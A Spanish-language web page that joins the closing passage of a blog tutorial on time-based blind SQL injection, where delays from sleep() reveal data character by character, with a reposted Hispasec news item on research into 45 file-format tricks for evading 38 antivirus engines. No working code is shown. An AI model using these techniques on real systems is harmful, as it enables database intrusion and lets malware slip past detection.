Si la diferencia de tiempo entre el punto 1 y el 3 es de 10 segundos, es que la condición del 'if' se cumple, por lo que se conoce el valor ascii correcto.
Pues eso es todo, ya solo queda optimizar y tirar línas de código que hagan el trabajo sucio.
La optimización pasa por encontrar el menor tiempo posible de espera, reduciendo los 10 segundos que se han usado durante todo el artículo a uno inferior que no genere falsas alarmas. Otra mejora consiste en no hacer tantas peticiones web, evitando recorrer toda la tabla ascii buscando el carácter válido. Para determinadas sentencias, como database(), tan solo consultar desde el decimal 32 al 90.
La última, un poco más compleja consiste en hacer una consulta con ord() y AND para averiguar los bits que compone cada byte. Con tan solo 8 peticiones se averigua el código ascii, pero si calculamos que la mitad de las peticiones tendrán como resultado un sleep(), puede tardar más que hacer hasta las 60 peticiones recorriendo la propia tabla, en la que solo un requiere un único sleep().
¡Fin! Espero que este ejercicio le haya servido a alguien. Este es el código que a mí me ha quedado:


Para los más vagos, un vídeo que espero sea explicativo.

Enlace de este post:
Security by default

45 formas de engañar a 38 motores antivirus

Paste from www.hispasec.com
http://www.hispasec.com/unaaldia/4897
Suman Jana y Vitaly Shmatikov, han creado el documento “Abusing File Processing in Malware Detectors for Fun and Profit” que presentan en el IEEE Symposium on Security & Privacy de este año en San Francisco. En resumen, han descubierto 45 “vulnerabilidades” (métodos para eludir motores) que afectan a un total de 38 antivirus. La mayoría relacionadas con el tratamiento de ciertos tipos de ficheros, que pueden permitir que el malware pase desapercibido por el motor y no sea detectado.

Las vulnerabilidades encontradas están relacionadas con los intérpretes de las distintas extensiones de ficheros. Así, han encontrado diferentes formas de manipular los formatos de ficheros para permitir que pasen desapercibidos para los motores.
TAR: Con el número más alto de métodos encontrados, 13 en total, los intérpretes puede ser explotados de diferentes formas, modificando sus caracteres iniciales o ciertos campos del formato. 34 motores antivirus se ven afectados por este fallo.

ELF: Se han encontrado un total de 12 métodos en este formato que pueden ser aprovechados modificando ciertos campos o añadiendo algunos caracteres. Este error afecta a 14 motores antivirus diferentes.

EXE: Con un total de 6 métodos que pueden ser aprovechados igualmente añadiendo caracteres en ciertas posiciones o manipulando algunos campos del estándar. Cinco motores se ven afectados por este fallo.

Ficheros Microsoft Office: Dos métodos pueden ser explotados a través de un fichero especialmente manipulado que contenga la secuencia de caracteres especiales. Afecta a los antivirus Comodo y Sophos.

RAR: Este único (método de evasión (cambiar sus dos primeros bytes por MZ) en el formato permite eludir a la mayoría de los motores conocidos (35).

CAB: Se han descubierto 7 métodos que pueden afectar a 14 motores antivirus.

CHM: Un único método que permite eludir las detecciones de ClamAV y Sophos. Puede ser explotado a través de la manipulación de la cabecera.

Gzip y ZIP: Se han encontrado tres métodos en el intérprete de este tipo de ficheros que puede afectar a un total de 20 motores antivirus.
El número de vulnerabilidades asignadas a cada antivirus, ordenadas de mayor a menor, son:
eSafe: 22
QuickHeal: 20
Rising Antivirus: 20
Emsisoft: 19
Ikarus Virus Utilities T3 Command Line Scanner: 19
Panda Antivirus: 19
Norman Antivirus: 18
Fortinet Antivirus: 17
Sophos Anti-Virus: 16
McAfee Gateway: 13
Kaspersky Anti-Virus: 11
McAfee Anti-Virus Scanning Engine: 11
NOD32 Antivirus: 11
F-Prot: 10
Command Antivirus: 10
AVEngine: 9
Antiy Labs AVL: 9
Jiangmin Antivirus: 9
AhnLab: 8
BitDefender: 8
Comodo: 8
F-Secure: 8
Trend Micro: 8
K7 Antivirus: 7
PC Tools AntiVirus: 7
AVG: 6
Clamav: 5
ClamAV: 5
Microsoft Security Essentials: 5
nProtect Anti-Virus: 5
VBA32: 5
Avira AntiVir: 4
VirusBuster: 4
Avast: 3
Dr.Web: 3
eTrust Vet Antivirus: 3
G Data AntiVirus: 3
Prevx: 2
A todos estos errores se les ha asignado los CVE consecutivos que van desde CVE-2012-1419 hasta CVE-2012-1463.
Más información:
Evasion attacks expoliting file-parsing vulnerabilities in antivirus products
José Ignacio Palacios